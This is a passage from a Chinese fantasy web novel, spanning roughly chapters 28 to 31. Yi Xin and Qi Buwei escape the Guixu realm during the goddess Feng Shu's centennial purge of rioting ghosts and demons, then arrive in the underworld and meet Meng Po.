易辛谨慎地望着祁不为,发现他眉头拧动几下,张口要说什么又止住了,竟显出几分烦闷郁色,随后冷冷吐出两个字:“随你。”
她揣度了几下,觉得对方并不打算找她算账,脸上不由得松懈下来,泄出十分浅显的笑意,忽又听到头顶传来一道声音。
“你很想离开山庄?”
“嗯……?”易辛敛起嘴角,骤然提问让她有些茫然,一下子不知道该回答是或否。
见她一时愣住,祁不为眉头又皱了一下,偶然瞥见她手里拿着把伞,看样子要出门。
“去哪?”
这回易辛答得很快:“女帝大人救下我们,还没好好向她道谢,正准备去呢。”
祁不为兀自点头:“正好,一起去吧。”
“……嗯,好。”
风雨如晦,声势浩大,愈发衬得两人之间安静至极。
走了一时片刻后,祁不为忽然开口:“点日曾言,风疏降生之时口中衔木。”
易辛讶异:“衔木?”
祁不为简单复述两句,又道:“初见点日时,我用记忆交换归墟境的离开之法,他要我走到大街尽头的破庙。”
那是点日给他指路,来找她……易辛心中默默想着,没有说话。
祁不为:“你记不记得,那座破庙里有棵枯木?”
易辛愣住:“公子是说,那棵树才是风疏本体?”
“猜测而已。起初我以为点日把我引到破庙是随意乱指,但他行事神秘,摸不透底,也许他真的给我指了路。”
她觉得此番猜测不无道理,不禁问道:“公子如何联想到的?”
话问出口,却见祁不为闭嘴沉默了片刻。
要说如何想到,其实很多画面已经印在脑海里,只待一个灵光闪现。
他见过破庙里的树,听过风疏出生时的传闻,但极乐城里,那只从天而降的木箭才让他隐约想到些什么,却被当时困局扰乱了思绪,真正呼之欲出时,却是昨日陷在和易辛的亲密里……
混沌朦胧时,忽然的福至心灵了。
祁不为不答易辛的问题,僵硬道:“你去答题吧。”
易辛眼睛微睁——如果答题前先对答案,只要前者答对,再借助风疏禁制,便能核验答案是否正确。祁不为钻了空子!
思及此,她想起自己没有告诉祁不为她已经过关了的事实。之所以这样做,是因为她一个普通凡人,怎能扯到白无常,到时祁不为必然发觉有异……
但最重要的一点,其实他们不必答题,时候到了,风疏自会送二人出去。只是她还没拿到桃木,要呆在归墟境,为了不引起他的疑心,只好用答题困住他几日了……
而他却一反常态,居然把答案告诉她。按照以往的作风,他必然叫她自生自灭……
易辛顿时心虚极了,连步伐都快了些许,嘴上还说着:“公子,雨太大了,我们快些走。”
祁不为跟着走了几步,忽然停下:“忘了问,伏鳞为何抓你?”
怕什么来什么……易辛心口惴惴,脑子疯狂运转,终于在转身时想好说辞:“他好像误会我答出了谜题,便来抓我……”
祁不为敏锐道:“他看见了什么,才误以为你答出来?”
易辛怔住:“他看见什么?……当时殿内只有我和风疏……答完题后,李格送我出殿……”
祁不为接住她的话:“当时我看见李格送你,便误以为你答出了谜题。”
“公子的意思是……伏鳞也是因为这一幕误会了?他早就混进了宫中?!”
“不——也可以是买通了宫人。”
青山之巅,风疏脚踩黄土,看天际暴雨如瀑,水流从伞面上划出结界,形成圆润弧形,让她滴水不沾。
李格在她身旁撑着伞,忧心道:“大人,雨水已经淹了河道,街上涨了不少水,再这般下去,只怕会出现水患。”
风疏眺望远处灰蒙,再垂下目光,一条小道从镇上蜿蜒至山间,再盘旋着通入宫中。
那是前来宫中喝孟婆汤的亡魂。
她声色淡如云烟:“天要下雨,人力难为。”
李格问道:“归墟境如此特别,我以为和人间不一样。再者,外界降水,不是天神布雨吗?”
“你是希望我找谁停止降雨?”
李格没有直言:“雨势连绵不断,恐伤了百姓,大人一向最怜惜生命。”
风疏转过头来,与李格对视:“可他们早已不是人。他们是贪恋长生的鬼。鬼会怕水?”
闻言,李格低下头,敛声道:“是我蠢了。他们与寻常百姓看着没什么不同,久而久之,我便忘了……”
“无碍,极乐城那边如何?”
“细作来报,城主一行人推断重阳过后,归墟境会全部大开,届时来去自由。但似乎有一小部分人不赞同,以伏鳞为首,认为那一日,归墟境无人生还。”
“你以为呢?”风疏问道。
“应当……不会空无一人?”李格屏息。
“你是我收来的小妖,自诞生之日起,便在归墟境,可想去外头看看?”
没料到风疏这般问,李格一时愣住了。
风疏继续道:“重阳后,便离开吧。”
李格再度震惊,不知作何神态,看着想笑又不敢置信,只是下一瞬,心头陡然一沉,笑意有些挂不住,令人战栗的念头浮现——归墟境真的会大开,所以风疏放他离开!
风疏不知他心中所想,但微微回身,见易辛和祁不为上山而来。
他们去寻风疏时,被宫人告知去了山巅。
结界把雨水撑开,将易辛裹在其中,风疏打着伞。祁不为和李格在不远处,却听不清她们二人的动静。
风疏问道:“你来有何事?”
易辛:“上回伏鳞抓走我,那些妖怪想离开——”
说到一半,易辛在风疏眼神下息了声,后者道:“我已知晓。”
易辛惊奇又疑惑,但见风疏成竹在胸的模
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样,便不再多言,换了个话茬:“大人,我还能再答一回题吗?”
“你们找到我的本体了?”
易辛注意到,风疏用的是“你们”,而非“你”,她知道归墟境里发生的所有事。
“庙里的那棵树……?”易辛犹疑道。
风疏轻轻一笑:“让他不用来答了。后日午时,在大殿里等我。”
说着,风疏带易辛走到祁不为身前:“后日我自会送你们离开,但你没捉住伏鳞。作为交易,借我一样东西。用完即刻归还。”
祁不为:“女帝大人想要什么?”
“到时候就知道了。”
一行人顶着滂沱大雨下山,回宫时,遇见一场小骚动。
原是众人迫于风疏的压力,害怕灰飞烟灭,不得不去投胎。一旦入了地府,不用想便知道有什么酷刑等着自己。归墟境于他们而言,简直世外桃源,不会死,还能保留生前记忆。
去了地府,就要为“偷生”付出代价。
不甘的声音愈来愈大,便成了“民怨沸腾”。
风疏和其余人站在外围看着,身形隐匿在宫墙下。
“我们过得好好的,凭什么叫我们去死?!”
“风疏也算个得道成仙的神仙吗?哪有神仙如此草菅人命的?”
有人尚存理智,小声辩驳道:“我们不算人了……去地府轮回也是应该的……”
“你说的什么话,就算要去轮回,但是不是应该讲究一个公平!有人在归墟境活了几十年,像我这种,就只活了五六年,凭什么要跟着一起去死?”
“就是!要去地府,也该那些老不死的先去,一窝端算怎么回事!”
那人又道:“但不管活几十年还是几年,都是我们偷来的,就算只有一天,一个月也很高兴吧……真要论起公平……阳间的生人岂非更觉不公……”
“你这人是不是撞头撞傻了!难不成你是风疏派来的卧底!劝我们乖乖去死!”
周围附和的声音如潮水,一浪高过一浪,吓得那人噤声不语。
“不患寡而患不均!要我去地府也行,把我那几十年补回来!”
“说的对!那风疏专挑软柿子捏是吧!只敢对我们吆喝下命令,怎么不敢对极乐城那帮妖怪动粗!他们本来就命长,还不用像我们一样逼着去地府!上天不公!风疏无德!”
宫墙后的众人缄默。
李格小心觑着风疏:“大人,雨大了,我们还是回宫吧。”
易辛蹙眉,耳边忽闻祁不为一声嗤笑:“他们都忘了,如果不是你,妖怪一定把他们吃了个干净。”
风疏神色未变,不悲不喜,不怒不嗔,淡淡道:“走吧。”
他们方踏出一步,身后响起一道嘹亮的声音。
“大家伙儿,我听到一个消息,那些妖怪说重阳最后一日,归墟境会放开,我们能重回人间!”
“真的假的!你在诓我们吧!”
“你们想想,风疏就是怕我们重回人间,引起大乱,才说些什么不去地府就灰飞烟灭的话来恐吓我们!”
“贱女人!狗屁神仙!怕自己被上界神仙问责,就把我们往死人坑里推!我呸!”
一时间,群情激愤,这道消息传播得异常迅疾,排队的人们陡然间乌泱泱散了,口中阵阵高呼。
祁不为眼疾手快,施术隐匿四人身形,但见他们从身前欢呼跑过,先前被雨浇透的愤懑顷刻消失,仿佛这是一场滋养生机的春雨。
后头有阴差飘来半空,不明所以地大喊:“怎么了!干什么都跑了!你们还喝不喝孟婆汤了!”
场面一时滑稽又荒谬。
29. 第二十九章
随着重阳最后一日临近,各人皆屏息以待,外面雨势不歇,仿佛能毫无止境地落下去。
易辛透过窗台,凝望无边雨夜,黑暗混沌如潮水,将建筑包裹得密不透风,压在心上,沉甸甸的。
看过半晌,她关上窗户,和衣而卧。
明日午时,她和祁不为便要离开此地了,但愿不要出差错……
不知过了多久,易辛忽觉一阵风来,黑暗降临。
她心中一坠,猛地醒来,眼前黑得伸手不见五指。
临睡前,她分明点了蜡烛。黑云压城,深夜之际,屋子里便暗得仿佛全黑。
趁着尚未被惧怕淹没,她立即下榻,想要重新掌灯。
一只脚才落塌,手腕便被人握住,随之而来一道镇定的声音。
“易辛,是我。”
祁不为再晚一点出声,易辛必然尖叫,胸口里一颗心砰砰跳着,短时间内无法平息。
她深呼吸几下,屋内顿时一片亮堂,这时,她才看清祁不为。
他收了施法点火的手,面向易辛,神色严肃:“那些百姓闹起来了,正冲到宫门口。”
易辛一惊:“他们为何闹?”
“不想去地府,又害怕归墟境打开之事只是谣言,愤怒惧怕之下,便有人挑事,想逼迫风疏告知真相。”
祁不为又道:“当然,如果归墟境不开,他们会逼着她打开。”
“……他们是凡人,风疏是天神,不怕惹怒她吗?”
“狗急了还跳墙,他们不想舍弃现在的生活,被逼急了当然什么都做得出。何况,归墟境里百年累积下来的人不在少数,大骚乱之下,他们必然存了风疏无能为力的念头。”
似乎印证祁不为的话,远处传来沉重轰隆之声,如翻滚闷雷,继而炸开此起彼伏的叫喊。
“宫门……破了?”易辛惊疑不定地问道。
“应该是。我们去风疏的大殿。”
外面暴雨如注,不断冲刷着依山而建的皇宫,易辛和祁不为两人在各处殿宇的檐下辗转,至一处高地时,看清了皇宫的景象。
滂沱大雨之下,竟从宫门向里蜿蜒出一道道绿海,再定睛一看,原是幽绿色的火焰。
“鬼能点火吗?”易辛问道。
“心中积怨,就会化成恶鬼,恶鬼激荡愤怒之下,则能生焰。”
易辛震惊,平日街上见到他们,根本不会联想到“鬼”,他们与生人一般无二,皆是普通平凡的魂魄,短短几日之内,竟演化出这么多恶鬼。
一想到恶鬼,易辛本能打颤,心中憋了口气,呛咳起来。
祁不为握住易辛手腕:“不要看,风疏是归墟之主,去她那最安全。”
易辛缓过气来,跟着他离开。
终至大殿时,尖锐刺耳的喊叫也倏忽而至。
两人顿住脚步,不自觉望向前方。
鬼魂们像蚁潮般涌来,天上飞着数只,疾速而来。祁不为眼疾手快地带着易辛入殿。
风疏坐在案桌后,听见动静才放下书简,门合上前,望见了外面的可怖景象,却依旧面不改色,仿佛一切皆是梦。
“此地布了结界,等午时一到,我送你们离开。”
易辛面有忧色:“那外面……”
风疏:“这是归墟境之事,你们无需管。”
见她如此气定神闲,易辛纵然忧心,也不得不等待下去。
但外头那些鬼魂可不叫人安生。
尖利喊叫过后,忽起一阵窸窣啃咬之声。
易辛呼吸一滞,环顾四周,啃咬声无孔不入,听得人头皮发麻——他们进不来,便开始咬大殿!
终于,糊纸的窗户先破,无数双眼睛透过窗棂的小格子看过来,见此一幕,寒气瞬间从脚底窜起,全身鼓起鸡皮疙瘩!
易辛紧紧闭上眼睛,一时顾不得礼仪,脚也踩上凳子,蜷缩起来,用力捂住耳朵。
不知如何,外面响起几道尖笑,吓得她一抖,忽然,有温热掌心贴住了后颈,身前似移来一道人影。
“他们啃了一半大殿。”祁不为的声音透过无数尖叫传入耳中。易辛汲取着他掌心的温度,调整呼吸,至少让自己不要失控。
没过一会儿,头顶又传来一道声音:“嗯,门都没了。”
易辛小小地应了一声,祁不为的传达和语调中的漫不经心,缓和了她看不见周遭而产生的恐惧。
“屋顶幸存。”
“……好吧,全没了,只剩结界挡住他们,还有殿里的几根承重柱。”
祁不为看着没一会儿功夫便光秃秃的大殿,一扬眉稍:“这些人变成恶鬼,必然是饿死鬼的那一类。看他们眼睛发绿,怕是连我们也要撕碎吃了。”
易辛一想那些场面,顿觉恶心,把耳朵捂得更紧了。
接着,她听祁不为声音有些疑惑:“点日怎么不在?跑得慢被吃了?”
风疏淡淡道:“他也不是活人,自生自灭吧。”
闻言,祁不为不冷不热地笑了一下,直觉那奸商此时或许比他们还安全,又环顾四周:“如今恶鬼丛生,地府再忙不过来,也当来管管?”
“已经去信了。”
话落,祁不为神色微变。
风疏捕捉到:“你想看?”
“此生见过妖精鬼怪,如今看了你,也算见过天神。唯独地府里的神祗从未见过,难免好奇。”
“身为活人,大约没几个想和地府打交道。”风疏调侃。
说话间,李格走到风疏身旁:“大人,看水滴漏,还有一刻至午时。”
风疏望向殿门,自然,此时已经无门,只剩挤作一处的鬼魂。
众魂已生出恶相,面目狰狞,乍一看确实唬人,但更多的是瘆人与恶心。
殿内中人,像美味食物,外面的鬼魂蠢蠢欲动,甚至连结界亦开始撕咬,言语狂妄。
“风疏!打开归墟境!放我们离开!否则我们一定把你吃得连骨头都不剩!”
“桀桀桀——吃了神仙的肉,一定修为大涨!说不准还能得道成仙!”
“都是你咎由自取,大家本来相安无事,你非要搞得我们不得安生,到头来还不是害了自己!”
风疏不予理睬,只瞭望远方,又嫌他们碍了视线,眉头一拧,准备出手。
就在这时,她动作一顿。
祁不为和易辛同时察觉不对。
殿内瞬间涌入铺天盖地的寒气,与暴雨下的冰冷不同,冷意似钻入骨髓,叫人心底生寒。
随着寒冷降临,殿外的鬼魂霎那间似油锅般沸腾起来,变了调的尖叫此起彼伏,凄厉无比。
吸血虫一样黏在结界外的鬼魂顿时散开,匆匆逃命!
祁不为目不转睛地盯着外面,鬼魂散开后,仿佛拉开了黑布。殿外阴风阵阵,阴差列阵四周,手上铁索横飞,打入魂魄体内,霎那间灰飞烟灭。
列阵之首,一道白衣在前,头戴高高白帽,宽广袖袍垂落。<
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p>如此典型的特征——白无常。祁不为越过混乱鬼群,毫不避讳地望着他。
白无常面无表情,冰冷得毫无生气,与民间故事里吊诡的形容大相径庭,反而严肃至极。
凝望间,祁不为感受掌心下动了动,易辛抬起头,从指缝间窥探外面情形,阴差已经开始抓捕鬼魂,奈何鬼魂太多,绝境之下,他们甚至懂得反击。
白无常凌空落地,没有哪个不长眼的鬼魂敢近身。他一路迈入殿内,和风疏点头致意。
风疏从案后起身,语气不善:“下回再这么慢,我一定打开归墟境。”
“调阴兵,需要时辰。”
“但我不想赏脸给你收拾烂摊子,”风疏扫了眼乱作一团的外面,“要知道,他们都是你惹出来的乱子。”
易辛和祁不为默默听着,至最后一句时,都惊讶了,但没有发问。
白无常微微颔首,是个歉意的姿态。
风疏这才看向旁观的两人:“走吧,去山巅。”
阴差位列在旁,无人再敢侵袭,易辛稍稍放心,众人方踏出殿内,便瞬移至山巅之上。
归墟境广阔,鬼魂四散跑开,再抓时要费些功夫,加诸暴雨天气,视线受阻。
不知过了多久,天边漫来一层浓黑。
“女帝大人,你这是做什么,把归墟境搅得一团乱了。”原是极乐城的妖怪倾巢而出。李善覆了张青面獠牙的鬼面,作群妖之首,向风疏问责。
“行公务而已。”风疏脸上没什么表情。
李善一笑:“你这是何苦呢?他们活得好好的,你却要人家灰飞烟灭。”
“与我无关。是他们自己做了选择,违背天道,违背万物常理,偷生便要付出代价,死不悔改,自然代价更重。”
“若他们此时醒悟了,要去轮回呢,你现在这副赶尽杀绝的姿态,实在难评。”
“城主大人竟有如此善心,想替他们出头,才带了这么多妖怪?”风疏反问。
“不,你误会了,我们只是看看而已,绝不动手,”李善笑道,“你只管料理他们。”
风疏笑了:“那真是遗憾,我要赶尽杀绝的,还有你们。”
此话一出,群妖沸腾。
“口出狂言!我们不干涉你,你还想对我们下手?!”
“你疯了不成,我们平日多般忍让,可不是因为怕你!不过区区由人飞升的小神,我们修炼了几百年,杀你易如反掌!”
他们还要叫嚣,忽然间地动山摇。
大地震颤着,仿佛有什么破土而出。
众人不明所以,都屏息凝神望着地上。
“……怎么了?”易辛趔趄了一下,被祁不为抬住胳膊稳定身形。
地上传来愈发明显的震颤之感,福至心灵地,祁不为觉得已至午时。
忽然,街道开裂,裂缝向四周蔓延,一株枯树拔地而起,越来越粗壮,甚至挤压了好几条街道。
枯木不断向上延伸,生长之势迅疾,天边那群妖被迫四散开来,眼睁睁见它捅破了天。
天当真破了口子,从每道连天的枝干处灌下水来。
这才是真正的暴雨如注,数道水柱砸向地面,仿佛决堤的洪水。少顷,整座归墟境皆被淹没,唯独傍在半山腰的宫殿还在,藏在屋里的鬼与妖,纷纷飘向半空。
枯木顶起巨大的树冠,天水一淋,桃花竞相开放。
彼时晦暗荡去,金光破云而出,一棵桃木顶天立地,波澜壮阔。
30. 第三十章
易辛和祁不为皆为眼前之景所震撼,随着桃花盛开,天地之间似荡开一股清正之气,涤去阴霾。
桃木素有驱邪镇魔之效。
风疏走向易辛身旁,出手时,掌心里卧着一截枯木:“让它吸日月天地精华,时日一到,自会盛开,可避妖邪,清正魔心。”
末了,风疏解释道:“相见有缘,送给你。”
当然,这句话是伪装给祁不为听的。
易辛看看风疏,再看枯木,心绪交杂。她双手捧起枯木,诚挚道:“多谢大人。这份礼物,我一定铭感于心。”
话落,巨木上垂下一条枝桠,停驻在二人身后。
“它会送你们二人出去,”风疏道,“为了不影响人世间,归墟境每逢百年便会清境,这一日我已经历数次,无需担忧。”
“大人,保重。”易辛真诚感激。
枝桠秋千似的卷起二人,山脚下已是泄洪模样,水面淹过了街上屋瓦。
落水之际,枝桠变成藤条编制的木船,漂在水上,漫无目的似的飘荡。
视线低落,看天上景象更为壮观。
天地间那棵桃木吸引了所有目光,暴雨已停,只剩苍穹垂落的水柱,好似要淹掉整个归墟,冲走角落里所有污垢,还以清正。
半空中群魔乱舞,山巅处,还能看见风疏飞扬的衣裙,白无常冰冻似的阴气无所不在。两方人马无声对峙,只待一处异动,便要开战。
无人注意汪洋海面上漂浮着一只小船,或是发觉了,却不敢贸然出手。
桃木小船上包裹着半透明的结界,尚有清香,遇上被巨木野蛮生长时撞死的小妖浮尸,瞬间烧灼化气。
李善率先动作,掌中妖风凛冽,轰然推出,欲把枝干打断。
枝干撼动,震落无数桃花。
眨眼之间,片片桃花又薄又利,倏忽袭向妖群,穿透行径轨迹上的魂魄,再切进妖怪体内。
一刹那,空中妖血有如烟花炸开,碎肉掉进水里,凄惨嘶鸣响彻天地。
李善大怒,集结起那些群龙无首的鬼魂,暂统妖鬼两道,大半冲向山腰宫殿,剩下的攻击巨大桃木。
一时间,群妖过境,遮天蔽日。
祁不为拧紧眉头,不思量握在手中,随时应付突发状况。便在这时,不思量嗡嗡震颤,没有他的召唤,竟擅自出鞘。那一刻,祁不为读懂了不思量的激动,仿佛老友相见时的兴奋。
白光划向天际,一路斩妖除祟,最后飞向山巅。
风疏立于崖边,妖邪之气冲天,化作狂风暴舞,一头长发猛地曳至身后,身子却不动如松。双目凝住那道破空而来的白光,伸手朝前一探,再利落一挥,不思量已紧紧握在手中,剑刃切割空气,发出啸鸣。
她向祁不为借的,正是这把不思量。
剑柄在手,白刃发颤,不思量仿佛活过来一般,丝丝缕缕的火焰缭绕剑身,再像泼油般窜起,火舌如龙,裹住整把剑。
天边妖邪逼近,风疏从下至上,斜劈过去,火光作弧,不断外扩,如一把镰刀,瞬息之间,妖邪折损小半。
所有施法防御,溃散得不成样子。
有些妖尸砸入水中,靠前的,则烧得连灰都不剩,嘶吼尖叫全部截断在嗓子里。
他们还来不及反应,也来不及恐惧。
趁着他们还聚在一起,风疏第二剑如影随形。
天际仿佛一道白幕,火弧逼近时,将妖邪压出道道重影,最后在白幕中变成香灰般的碎屑。
两剑过后,妖怪们只剩修为强大者,还有躲在远处未被波及的小妖。鬼魂们却是剩了不少,毕竟怕死在前,又不像妖怪们修炼长久,碰上这种场面,乍看一往无前,实际跑得比谁都快。
不思量光芒渐熄,似乎用完了全部力量,陷入沉睡。
“辛苦了。”风疏对剑低语,而后朝空中一甩。
妖怪们已成惊弓之鸟,见了它纷纷躲避,直至落回祁不为手中。
祁不为握住剑柄,细细感受,与先前并无二致。但风疏用它时,这柄剑仿佛能杀魔弑神。
风疏与不思量,有何关系?
他心中虽有疑问,但风疏从始至终只字不提,现在必然也问不出什么。他抬头望向空中,风疏已凌空踏出,手上执了柄青铜枝桠,与剩下的大妖们缠斗。
“易辛,呆在船上,我去去就回。”话落,祁不为单手捏诀,身形快到闪出残影,也加入了半空中的乱斗。
“公子小心……”易辛只来得及说出这句,那方妖斗时,灵力剧烈波动,将水面掀起大浪。
桃木小船狠狠晃了一下,易辛立即紧紧扒住船沿,不至掀翻下去。
她没有灵力,不拖后腿的方法,便是顾好自己。海浪阵阵之际,不知是否眼花,她好像看见一条水蛇似的东西,心中一惊,再要细看时,却不见踪影。
没事的,她安慰自己,桃木驱邪,没有东西敢靠近。
趁海浪稍歇,易辛将那一小截桃木塞进衣襟里,再咬紧牙关,死命扣住藤条。
水面之下,却有一条东西,不是水蛇,而是蛟龙。
伏鳞化作蛇形本体,试图攀缠水底下的藤条,暗度陈仓着离开归墟境。
只是他一碰上藤条,体表鳞片立即传来灼痛感,不禁痛得松了蛇身,又逢大浪打来,一下子涌出去老远,接着便在海浪里沉沉浮浮。
天上斗得如火如荼,祁不为闪身加入战局。
风疏凌厉强悍,在大妖们联手之下,也不落下风,李善为首的大妖一见祁不为竟带着那柄吓人的剑来,顿觉不妙。
“你怎么不走?”风疏抽空问道。
“相见有缘,我也送你一份大礼。”祁不为回道,执剑一甩,火焰撩上刃身。他如开弓不回头的箭一般冲了出去,直朝李善而去。
李善心下一沉,对不思量尤有忌惮,出招时屡屡躲避,却叫祁不为一套剑招施展得游刃有余又大开大合。
衣服烫出几个洞,还挨了祁不为好几拳,颇有些狼狈的姿态。
祁不为斗得正酣,眼角眉梢意气风发:“这才哪到哪,不过这种术法女帝大人已叫你们领教过了,不如换一种?”
话落,剑身火焰倏忽散去,下一瞬,蓝白火焰腾地窜起,隐隐摄人,似乎比红焰更为危险。
祁不为提剑而去,剑势凌厉又刁钻,但只有一个目标,最后皆会攻向李善心口。
又是一阵眼花缭乱的剑招后,李善露出破绽,祁不为抓住机会,左手捏诀,白焰陡盛,剑尖直刺心口。
李善冷汗齐发,立即调动鬼力,抬手挡住心口,却忽见剑尖向上,从下颔往上,划出一道圆润饱满的弧。
瞬息之间,李善意识到自己中计了,祁不为一直佯攻,头脸也是身体重要部位,他却没防御住!
心率骤升,但方才那般声势浩大的毁灭之力并未出现,仅仅是一阵灼痛。
他微微愣住,其余妖怪也不例外,他们以为这一击,李善必然重伤,连和风疏的搏斗都不由得停了。
寂静过后,一道轻微的崩裂声出现,随即覆在李善的面具应声落下。
李善大为光火:“你诓我?!拿把剑点火,就虚张声势!”
火焰落在脸上,李善便知威力差太远。
祁不为笑了:“我诓你什么了?仙门之中,人人皆会梵净术。上回极乐城,我也用过。只是贵人多忘事,你不记得。又或老眼昏花,没认出来罢了。”
“——丞相!不服老不行啊!”祁不为大笑,忽然收了所有术法,凌空坠下。
李善陡然僵住。
“丞相”二字一出,他才终于明白,这人从始至终只想撕掉自己的面具,至于他为何认识他,追究已无意义。
他势必要杀掉祁不为!
李善发狂,周身散发的阴气似要冻结空气,他朝着祁不为猛冲下去。
两人心知肚明,祁不为远不是李善这种百年厉鬼的对手。<
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p>没了对不思量的忌惮,李善简直像是奴隶翻身,鬼气浓郁得仿佛实质,伸手便想取祁不为性命。
他怒火滔天,却见祁不为镇定自然,丝毫不惧,一副他奈何不得的笃定模样。
不断下坠之时,风呼啸着刮过耳畔,祁不为朝着李善大喊:“厉鬼要杀人啦!”
“你又耍什么把戏!”李善狠绝道,“实力至上!小聪明救不了命!今日我一定——”
话未说完,一道冰冷的气息如剑般袭来,叫他也不由得发寒。
斜眼一看,锁链飞来,直冲面门!
李善及时刹住身形,回旋翻转,再晚一点,锁链便会洞穿他的头骨。
他喘了口气,望向空中不远处的白无常,后者冰冷肃穆。
他方准备搏斗,顿觉头顶压迫异常,只一抬眼,风疏一掌压下来,手中神力翻涌。
李善猝不及防抬手抵挡,力量对轰间,他猛地吐出一口血。
风疏蓄力,向下一压,如山般打得李善节节败退。
“我真是眼盲心瞎,竟不知极乐城城主是你。”风疏一字一顿,裹挟着冰冷的恨意。
“你可知我为何每年都看青山戏,因为足够愤怒,才有力气清理归墟境!”
随着话语落下,风疏又是一压,直直将李善打入海里,掀起滔天巨浪。
祁不为已落回小船上,看着巨浪涌起,和易辛一并伏倒。
小船无所依凭地涌来涌去,若非局势不对,易辛可能无法忽略胃里翻江倒海之感。
祁不为看着李善落水,冷冷一笑。白无常在这,怎会放着李善这只鬼不管!
至于李善与风疏,他曾经以为风疏知道极乐城城主是谁,但今日看李善竟带着面具而来,便觉事情或许不是那样。
重阳最后一日,风疏会清理归墟境,而李善真的如自己所言,认为归墟会打开吗?或许,他只是想给妖怪们虚假希望,又在真相到来之际,引发暴乱,趁机除掉风疏。
狗急跳墙,那些妖妖鬼鬼的在绝境下发起疯来,可不容小觑。
风疏悬于水面之上,看向漂泊小船,两人依旧趴在上头,此时此刻这种姿势最安全。
她抬手,指尖溢出一道流光,最后没入易辛眉心。
“送你的第二份礼物。”
声音隔空而来,两人一愣,祁不为望向易辛:“她送了什么?”
易辛摸了摸眉心,脑海里响起风疏之声——我送你三支箭,皆为桃木所制。心中一想,它便会出现。
她刚想回复祁不为,水面忽然不同寻常地涌动起来,比之先前更为猛烈。
祁不为顿时紧锁眉头,眼也不错地望着海面。
风疏垂眸不语,须臾,道道黑气窜天而起,如同箭矢,她化出屏障躲过,周遭却接二连三响起嘶吼。
黑气射中鬼魂后,他们便暴涨发狂,涤净的气息再度晦暗昏浊起来。紧接着,一道黑影猛地冲出海面,浑身黑气缭绕,已经看不出面相,只剩黑雾作袍的白骨。
李善彻底发狂,并黑化了许多鬼魂。
归墟境气息激荡,海面翻涌不止,小船已经被打湿了好几遍。
易辛和祁不为呛着水,但发觉小船越走越远,某一刻再抬头时,已经和风疏白无常有了不小距离。
——他们要离开归墟了。
但这里战局不止。
李善携大妖们对风疏发起潮水般的攻击,鬼魂撕咬阴差,场面极度混乱。
一波浪涌过去,易辛和祁不为趁势抬头,那棵桃木依旧巨大,云层泄下金光,空中几处黑雾团团。
白无常幻化出法相,在海里行走,锁链翻飞,叫鬼魂们无处可逃。
风疏和李善斗得上天入地。
又一波海浪高高涌起,将小船拍进水里,祁不为压住易辛,二人沉浮,渐渐失去意识。
水里一条小蛟龙使出浑身解数,终于再度攀上小船,不顾灼伤鳞片,用身子缠了一道又一道。
31. 第三十一章
当祁不为再有意识时,耳边回荡着咕噜咕噜吐泡泡的声音,他骤然起身,以为还在归墟境——仔细一看,他们正乘着木船飘在一条泛着绿芒的河上,河里时不时浮现几具尸骨,他们神色痛苦,似忍着烧灼之痛。
河岸边绯红靡靡,绽开大片大片的彼岸花。
前方薄雾间,隐现一座桥。
这是……忘川河,奈何桥?
祁不为正疑惑着,身旁易辛转醒,同样惊诧地望着眼前之景。
“……我们被洪水冲进了地府?”易辛问道。
“应该是。”
说话间,小船靠了边,两人上岸。
船底,伏鳞身上已无几片完好鳞甲,桃木藤条灼一遍,忘川河又烧一遍,他憋着口气,悄悄蛇形上岸,
河底不少虫蛇,料想不会叫人生疑,且此地昏暗,没人会注意到他。
蛇身贴地游了几步,粗砺沙石磨着柔软皮肉,痛上加痛,但他强硬忍住,打算一鼓作气游到深处花丛。刚蓄足了力,忽然被人捏住,凌空而起。
伏鳞下意识挣扎,最后对上了祁不为的脸,后者轻笑一声。
“忍了一路,鳞片都烧了,滋味不好受吧。”祁不为说道。
挣扎的动作顿住,伏鳞嘶嘶吐着分叉的信子:“你早就知道我躲在船里?”
祁不为摇头:“不,一开始没发现,等闻到鲜美肉味,才知道你一起逃了出来。”
鲜美肉味……伏鳞愣了愣,而后剧烈挣扎,蛇身扭成缠结的绳子,却引得祁不为愈发好笑:“伤上加伤,你还是落在我手里了。”
不及伏鳞反应,祁不为施法将他收入乾坤袋中,打算带回山庄,扔进屠妖塔炼化。
忽然,易辛扯了扯他的衣袖,他顺势回头,见两个阴差站在他们身前。
阴差问道:“活人擅闯地府!好大的胆子!”
旁人附和:“带走!等白大人回来处置!”
他们口中的白大人应是白无常,祁不为示意易辛不要轻举妄动,跟着一起走,还未动作,却见易辛面色如常,并不害怕。
祁不为扬眉,易辛怕鬼,却意外地能适应地府?
两人跟着阴差朝前走,穿过薄雾,前方渐渐清晰。
不远处有座亭子,四周阴差站岗,后面缀了一排方才死去的凡人,他们走过奈何桥,停在亭子前。
站在最前头的亡魂立在一块石头边,最后扫了眼石头,再从身前女子手中接过一只碗,仰头喝下,皱起脸怨了句“这孟婆汤忒苦”,随后离开。
那女子低头舀汤,似听到岸边动静,抬头一看,见两名阴差押着一男一女,身上活人气息浓重。
看清女子面容,祁不为登时一惊——花信?!
惊讶之余,他下意识看向易辛,那时易辛已经走在了他前面,看不到她脸上是何神情。
“你们是谁……”水瓢停在半空,花信目光忽然落在易辛身上,觉出熟悉的气息,不禁疑惑道:“你身上——”
易辛抢先一步打断她的话:“是孟婆大人么?我们不小心掉入归墟境,青山女帝和白无常大人把我们送来此处。”
听到第一个名字,花信神色明显一变,似有些局促,又压了下去,点头道:“白大人和我说过,会有两人借道回人间,我送你们离开。”
说罢,花信和身旁阴差交代,把舀汤之事交予他们。
祁不为注视花信,是孟婆入凡间历劫,还是死后成了孟婆?风疏功德圆满,飞身成神。世间修道者,少有位列仙班之人,她们一对故人,竟双双成神?
他一时不知说些什么,又不由想到三人之中的金陵,他此刻在何处?轮回转世,泯然众人,还是也成了什么?
两人都选择对花信的过去缄口不言,他们不熟,贸然提起他人的过去,恐添麻烦。祁不为按捺住重重疑问,偶一瞥眼,看见了脚边的三生石。
石面上赫然映着一条奄奄一息的狗。
传闻三生石能照出人的前世,祁不为左右看看,站在石头前的,只有他……
???
他前世是条狗?!
……所以他前前世犯了大错,才投胎成了畜生?
祁不为顿时脸色发黑,下一瞬,石面变化——一名女子倒在地上,头发散乱,衣衫褴褛,双眼睁圆,好似死不瞑目,眼泪淌过脏污面颊,留下几道水痕。
这又是谁?
祁不为朝四周看看,蓦地愣住了。
易辛似是为了不碍阴差的路,挪了步子,恰好站在了背对三生石的地方。
他再去看三生石,画面已经湮灭。
原是花信对阴差交代完毕,喊了二人同去,易辛抬步离开。
望着易辛单薄的背影,祁不为胸口莫名有些堵,前世的她……是乞丐?最后被人打死了?
